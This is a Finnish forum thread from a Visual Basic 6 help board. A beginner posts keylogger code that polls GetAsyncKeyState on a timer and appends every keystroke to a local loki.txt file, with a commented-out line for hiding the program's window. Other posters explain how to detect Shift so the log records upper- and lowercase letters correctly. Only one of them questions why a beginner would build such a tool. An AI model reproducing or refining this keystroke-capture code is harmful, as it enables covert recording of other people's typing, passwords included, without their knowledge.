Oisko mitään ohjelmaa jolla sais tallenettuu kaikki näppäimet jota painetaa samaan kansioon missä ite ohjelma on?Sain noilla koodeilla vaan kaiken isoks.
tällä ei kato oikein onnistunu.
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim Merkki As Integer
Dim Sana As String
Private Sub Form_Load()
'Form1.Visible = False 'piilota formi tällä jos haluat
Timer1.Interval = 1 'Tämä täytyy kalibroida koneen mukaan
'(näppäinten skannauksen välinen aika)
Timer1.Enabled = True
Sana = ""
Merkki = 0
End Sub
Private Sub Form_Unload(Cancel As Integer)
Savettaa 'jos lopetetaan yllättäen talenna
End Sub
Private Sub Timer1_Timer()
For kk = 65 To 90 'käydään läpi isot kirjaimet
If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
Next
For kk = 97 To 122 'käydään läpi pienet kirjaimet
If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
Next
For kk = 47 To 58 'käydään läpi numerot
If GetAsyncKeyState(kk) Then pk = kk: GoTo uush
Next
If GetAsyncKeyState(32) Then pk = 32: GoTo uush 'space
If GetAsyncKeyState(221) Then pk = 229: GoTo uush 'ä ei välttämättä
If GetAsyncKeyState(222) Then pk = 228: GoTo uush 'ö tässä
If GetAsyncKeyState(192) Then pk = 246: GoTo uush 'å järjestyksessä
Exit Sub
uush:
Sana = Sana & Chr(pk) 'lisätään sanaan merkki
Merkki = Merkki + 1 'lisätään merkkilaskuriin 1
If Merkki >= 1 Then Savettaa 'jos 50 kirjainta kirjoitettu savettaa
'kannattaa muuttaa omien tarpeiden mukaan (50 merkkiä)
End Sub
Sub Savettaa()
'Tallentaa kun 50 merkkiä painettu
Open App.Path & "\loki.txt" For Append As #1
Print #1; Sana 'tiedostoon ohjelman_polku/loki.txt tai VB:n kansio/loki.txt
Close #1
Merkki = 1
Sana = ""
End SubKatsotaas... "apuu!" on harvinaisen huono otsikko, kooditagit puuttuu ja onnistuit vielä tuplapostaamaan. Uskoakseni puhun kaikkien puolesta, kun sanon, että "ei näin".
App.Path palauttaa ohjelman hakemiston.
Edit: Niin ja siis sanoit haluavasi tallentaa vain näppäimet eikä näppäimistössä ole erikseen näppäimiä isoille ja pienille kirjaimille, joten kirjainnäppäin tallenetaan ison kirjaimen ASCII-koodina. Voit tietysti tutkia, onko Shift pohjassa tai Caps Lock päällä ja tallentaa sen mukaan.
niin mutta vaikka en painaisi shiftiä tai caps lock ei olisi päällä kaikki luotellaan isoksi (VB 6 käytössä)
Niinhän minä äsken sanoinkin. Tarkoitin, että sinun on tehtävä se tarkistus itse, koska GetAsyncKeyState palauttaa vain näppäimen, eikä tekstiä.
miten saisin sen palauttamaan tekstiä?
Oikeesti tää on tärkeetä.
Et mitenkään. Se palauttaa vain näppäimen tilan. Painetuista näppäimistä voit itse päätellä, minkälaista tekstiä tulee.
Esim. Jos painetaan Shiftiä ja A:ta niin siitä tulee iso A (paitsi jos Caps Lock on päällä).
se sitten olisi vaikeaa jos laittaisin 100 kirjainta pitkää tekstiä ja siinä olisi isoja ja pieniä kirjaimia.
Kuinka niin vaikeaa? Kerranhan se tarkistus vain tarvitsee koodata niin se tekee sen jokaiselle kirjainnäppäimelle.
mites se muka koodataan?
Kato mä oon vast alottanu.
Kannattaisiko vähän harkita mitä lähtee tekemään. Jos vasta veepeellä alotit niin herramunjee miks ihmeessä tollanen tekele. Perusteet kuntoon ja sit matkaan.
Jos Shift on pohjassa, niin sitten tallennat ison kirjaimen. Jos ei ole, niin tallennat pienen kirjaimen. Voit käyttää kirjaimen koon muuttamiseen LCase-funktiota.
Tämä on kyllä tosiaan aloittelijalle ehkä vähän liian vaativa asia. Jos ei ota onnistuakseen, niin aloita jollain helpommalla.
Aihe on jo aika vanha, joten et voi enää vastata siihen.